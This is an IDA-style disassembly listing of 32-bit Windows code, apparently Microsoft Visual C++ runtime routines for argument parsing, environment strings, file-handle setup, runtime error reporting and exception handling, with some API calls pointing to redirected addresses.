loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB

loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------

loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------

loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------

loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi

loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_41F406:				; CODE XREF: sub_41F2D9+106j
		shr	ebx, 1

loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx

loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410

loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D

loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	byte_4CEF01[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------

loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	byte_4CEF01[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]

loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]

loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------

loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi

loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------

loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0

loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4CDB70
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	dword_4CDB70, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------

loc_41F4BC:				; CODE XREF: ___:0041F4AEj
		nop
		call	near ptr 2600BBDh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	dword_4CDB70, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------

loc_41F4DB:				; CODE XREF: ___:0041F4A6j
		cmp	eax, 1
		jnz	loc_41F565

loc_41F4E4:				; CODE XREF: ___:0041F4BAj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6

loc_41F4F4:				; CODE XREF: ___:0041F4E6j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509

loc_41F4FB:				; CODE XREF: ___:0041F500j
					; ___:0041F507j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB

loc_41F509:				; CODE XREF: ___:0041F4F9j
		sub	eax, esi
		mov	edi, dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41F556
		push	dword ptr [esp+10h]
		call	sub_417C3B
		pop	ecx
		mov	[esp+10h], ebx

loc_41F556:				; CODE XREF: ___:0041F546j
		mov	ebx, [esp+10h]

loc_41F55A:				; CODE XREF: ___:0041F526j
					; ___:0041F535j
		push	esi
		call	near ptr 2600EBFh
		nop
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F565:				; CODE XREF: ___:0041F4DEj
		cmp	eax, 2
		jnz	short loc_41F5B6

loc_41F56A:				; CODE XREF: ___:0041F4D6j
		cmp	edi, ebx
		jnz	short loc_41F57A
		call	near ptr 2600BBDh
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6

loc_41F57A:				; CODE XREF: ___:0041F56Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A

loc_41F580:				; CODE XREF: ___:0041F583j
					; ___:0041F588j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580

loc_41F58A:				; CODE XREF: ___:0041F57Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------

loc_41F5A0:				; CODE XREF: ___:0041F59Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch

loc_41F5AB:				; CODE XREF: ___:0041F59Ej
		push	edi
		call	near ptr 2610000h
		nop
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F5B6:				; CODE XREF: ___:0041F4C6j
					; ___:0041F4EEj ...
		xor	eax, eax

loc_41F5B8:				; CODE XREF: ___:0041F563j
					; ___:0041F5B4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx

loc_41F5DF:				; CODE XREF: ___:0041F5D5j
		mov	dword_4CECE0, esi
		mov	dword_4CEDE0, 20h
		lea	eax, [esi+100h]

loc_41F5F5:				; CODE XREF: ___:0041F611j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4CECE0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------

loc_41F613:				; CODE XREF: ___:0041F5F7j
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2820000h
		cmp	word ptr [esp+42h], 0
		jz	loc_41F6EF
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax

loc_41F649:				; CODE XREF: ___:0041F645j
		cmp	dword_4CEDE0, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_4CECE4

loc_41F656:				; CODE XREF: ___:0041F699j
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	dword_4CEDE0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_41F674:				; CODE XREF: ___:0041F68Ej
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------

loc_41F690:				; CODE XREF: ___:0041F676j
		add	edi, 4
		cmp	dword_4CEDE0, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------

loc_41F69D:				; CODE XREF: ___:0041F663j
		mov	esi, dword_4CEDE0

loc_41F6A3:				; CODE XREF: ___:0041F64Fj
					; ___:0041F69Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF

loc_41F6A9:				; CODE XREF: ___:0041F6EDj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_41F6E6

loc_41F6C8:				; CODE XREF: ___:0041F6BBj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_41F6E6:				; CODE XREF: ___:0041F6AEj
					; ___:0041F6B6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9

loc_41F6EF:				; CODE XREF: ___:0041F624j
					; ___:0041F630j ...
		xor	ebx, ebx

loc_41F6F1:				; CODE XREF: ___:0041F754j
		mov	eax, dword_4CECE0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------

loc_41F70C:				; CODE XREF: ___:0041F705j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_41F716:				; CODE XREF: ___:0041F70Aj
		push	eax
		call	near ptr 26008B4h
		nop
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		call	near ptr 2600000h
		nop
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741

loc_41F73B:				; CODE XREF: ___:0041F722j
					; ___:0041F72Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F741:				; CODE XREF: ___:0041F739j
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F74C:				; CODE XREF: ___:0041F6FDj
		or	byte ptr [esi+4], 80h

loc_41F750:				; CODE XREF: ___:0041F73Fj
					; ___:0041F744j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	dword_4CEDE0
		call	near ptr 2600B04h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: sub_41CFF1+Ao
					; sub_41D120+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------

loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
		mov	eax, dword_4CDA08
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	dword_433C64, 1
		jnz	short locret_41F884

loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, dword_4CDB74
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax

loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_41F84C+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4362F8

loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_436388
		jl	short loc_41F898

loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_4362F8[esi]
		jnz	loc_41F9D5
		mov	eax, dword_4CDA08
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	dword_433C64, 1
		jz	loc_41F9AF

loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 2660000h
		nop
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h

loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	off_4362FC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------

loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4362FC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26008B4h
		push	eax
		nop
		call	near ptr 2640000h

loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	dword_4CDB78
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------

loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: ___:00426020o
		mov	eax, dword_4CECC0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------

loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi

loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	dword_4CECC0, eax

loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	dword_4CDCB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	dword_4CECC0, esi
		call	sub_4210E8
		pop	ecx
		mov	dword_4CDCB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx

loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_436388

loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, dword_4CDCB0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_436608
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_436398

loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9

loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4363F8
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: ___:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	byte_4CD9F4, 0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	dword_4CDA48, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_433E7C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4CDA58
		call	near ptr 27B0000h
		nop
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61

loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh

loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4CDB7C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------

loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_436EF4
		push	esi
		push	ebx
		nop
		call	near ptr 25F0815h
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax

loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	dword_4CDB7C, eax

loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, dword_4CDA48

loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 25F0815h
		nop
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, dword_4CDA58
		mov	[ebp+arg_10], eax

loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2630000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi

loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	near ptr 2630000h
		nop
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	near ptr 25F0000h
		nop
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------

loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax

loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FB63	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FCAC	proc near		; CODE XREF: sub_41FEC6:loc_42003Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
